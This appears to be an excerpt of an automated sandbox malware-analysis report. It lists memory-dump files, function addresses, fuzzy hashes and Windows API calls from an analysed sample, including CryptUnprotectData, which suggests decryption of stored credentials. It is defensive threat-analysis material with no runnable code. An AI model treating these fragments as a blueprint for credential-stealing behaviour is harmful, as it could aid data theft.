Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *B/;$.&A?$CmV$gmz$|]
API String ID: 0-3691177198
Opcode ID: 96730dde8aac2e7c8fa961e318f500ac55c8a1a7f88bb4dedcbccd67e5ebd1de
Instruction ID: 64a007b85d830a778d6fd82a0b8cd97ee4c77ec218cfe80a153fa58818ce2cf5
Opcode Fuzzy Hash: 96730dde8aac2e7c8fa961e318f500ac55c8a1a7f88bb4dedcbccd67e5ebd1de
Instruction Fuzzy Hash: 43B2E4F3A0C2009FE704AE29EC8577ABBE5EF98320F16493DEAC5C3744E63558158697

Function 00786920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0078696C
sscanf.NTDLL ref: 00786999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 007869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 007869C0
ExitProcess.KERNEL32 ref: 007869DA

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 127b4cc08afd3ce87d1e3630433077bee6e3e561715acabf44d1e09c8c9de33e
Instruction ID: 7fa4829952c7035cb2a2571ff3cfb435d22ee842bb1e5f172f3ea2984d3a0872
Opcode Fuzzy Hash: 127b4cc08afd3ce87d1e3630433077bee6e3e561715acabf44d1e09c8c9de33e
Instruction Fuzzy Hash: 0D21DC75D14208ABCF04EFE4D9499EEB7B5FF48300F04856EE506E3250EB345605DB69

Function 00777240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0077724D
RtlAllocateHeap.NTDLL(00000000), ref: 00777254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00777281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 007772A4
LocalFree.KERNEL32(?), ref: 007772AE

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 9038cf88c46db1d863f76861b38401dd93997727ff50e398c2b3635b83621a5f
Instruction ID: f9ad2ad8ab2d019eacfc09a7bc396b2c6c002c31abd93b1e92bd90d9bf7ff991
Opcode Fuzzy Hash: 9038cf88c46db1d863f76861b38401dd93997727ff50e398c2b3635b83621a5f
Instruction Fuzzy Hash: 7C011275B54208BBEB14DFD4DD49F9D7778FB44B00F108154FB09AB2C0D674AA009BA5

Function 00B4247D Relevance: 6.7, Strings: 4, Instructions: 1659COMMON

Download Yara Rule

Strings

\ow, xrefs: 00B42D54
BwT, xrefs: 00B4302F
10, xrefs: 00B4370B
b=W, xrefs: 00B434A2

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 10$\ow$b=W$BwT
API String ID: 0-571881297
Opcode ID: dbbef79d26be4a8aa86b26b9dbcabdfe163b01954c8c7b27a3c86054841b67ba
Instruction ID: 495bee1f50e68cbb4eeef6143e89e3fac9e94ac2691628c2b36a63ee3014efea
Opcode Fuzzy Hash: dbbef79d26be4a8aa86b26b9dbcabdfe163b01954c8c7b27a3c86054841b67ba
Instruction Fuzzy Hash: 9BB227F360C2049FE3046E2DED8567ABBE9EF94720F16893DE6C4C3744EA3598058697

Function 00B367FB Relevance: 6.6, Strings: 4, Instructions: 1616COMMON

Download Yara Rule

Strings

v7_e, xrefs: 00B36DD2
4~}, xrefs: 00B36DB5
k!{s, xrefs: 00B368CF
^&?r, xrefs: 00B36814

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^&?r$k!{s$v7_e$4~}
API String ID: 0-200858009
Opcode ID: 1b5cfa2c98aa521adde7c3a386227e4a62f2dcfcbe19d2d73d92ea2d098928a5
Instruction ID: 7f503ef8ebe7c7673031d205646d4a140d287c1f87e96e2794c69ece09d49d82
Opcode Fuzzy Hash: 1b5cfa2c98aa521adde7c3a386227e4a62f2dcfcbe19d2d73d92ea2d098928a5
Instruction Fuzzy Hash: 37B215F3A082049FE3046E2DEC8567AFBE9EF94720F16493DEAC4C7744E63598058696

Function 00B34DBA Relevance: 6.6, Strings: 4, Instructions: 1591COMMON

Download Yara Rule

Strings

*~{, xrefs: 00B359B7
\Ku, xrefs: 00B357E2
qD', xrefs: 00B34FEE
Wwg, xrefs: 00B35F9E

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *~{$\Ku$qD'$Wwg
API String ID: 0-3197107157
Opcode ID: 3414309d23feba1ba25e053bc862433732d68abc00c6c782ec9df8a922a664ec
Instruction ID: 7200a181a27f0680135e72e7d09262ea66dcfb7b10d326cf4efc2f38c1450d84
Opcode Fuzzy Hash: 3414309d23feba1ba25e053bc862433732d68abc00c6c782ec9df8a922a664ec
Instruction Fuzzy Hash: 5EA214F360C204AFE3146E2DEC8567AFBE9EF94320F1A453DEAC4C7744EA3558058696

Function 00B47788 Relevance: 6.5, Strings: 4, Instructions: 1501COMMON

Download Yara Rule

Strings

;Ww, xrefs: 00B47DFD
Z_n, xrefs: 00B4896F
['/, xrefs: 00B48545
ud~W, xrefs: 00B4780E

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;Ww$['/$ud~W$Z_n
API String ID: 0-855223674
Opcode ID: 5ccec887c200efcb207eab4f5407eedb04d57b814ca7c448e828fe1bf88ca34e
Instruction ID: 58fb23e6d488b5584766f0bf8ee8a41dd378e745b1d0ac59d72431626f459718
Opcode Fuzzy Hash: 5ccec887c200efcb207eab4f5407eedb04d57b814ca7c448e828fe1bf88ca34e
Instruction Fuzzy Hash: F8A218F3A0C204AFE7046E2DEC8567AFBE9EF94320F1A493DE6C4C7744E63558058696

Function 00B4AEA9 Relevance: 6.3, Strings: 4, Instructions: 1319COMMON

Download Yara Rule

Strings

XY&?, xrefs: 00B4BDF8
0{3, xrefs: 00B4B705
oI:, xrefs: 00B4AEE8, 00B4AEFA
LA?, xrefs: 00B4B551

Memory Dump Source

Source File: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID:
String ID: LA?$XY&?$oI:$0{3
API String ID: 0-1900248536
Opcode ID: ba4134ce9ff66bbfe30bfa022da4e0f3c027d273613f3042dc14ad2b2ea0803b
Instruction ID: 73ecb792b4f3e4990762644c1442e6be3c0036b6a62d4e1d0cd26fabb442d869
Opcode Fuzzy Hash: ba4134ce9ff66bbfe30bfa022da4e0f3c027d273613f3042dc14ad2b2ea0803b
Instruction Fuzzy Hash: 269207F360C204AFE3046E29EC8567AFBE9EF94320F164A3DE6C4C7744E67598058697

Function 00788EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00775184,40000001,00000000,00000000,?,00775184), ref: 00788EC0

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 809775edbe70ff44479dc73ff706df0bf536ba7697775d7e6e2d8829576e0a84
Instruction ID: 7e6839e9e06500669e6006c43ca76b3dd6471d40d04ef2025349e0a7e59b64a0
Opcode Fuzzy Hash: 809775edbe70ff44479dc73ff706df0bf536ba7697775d7e6e2d8829576e0a84
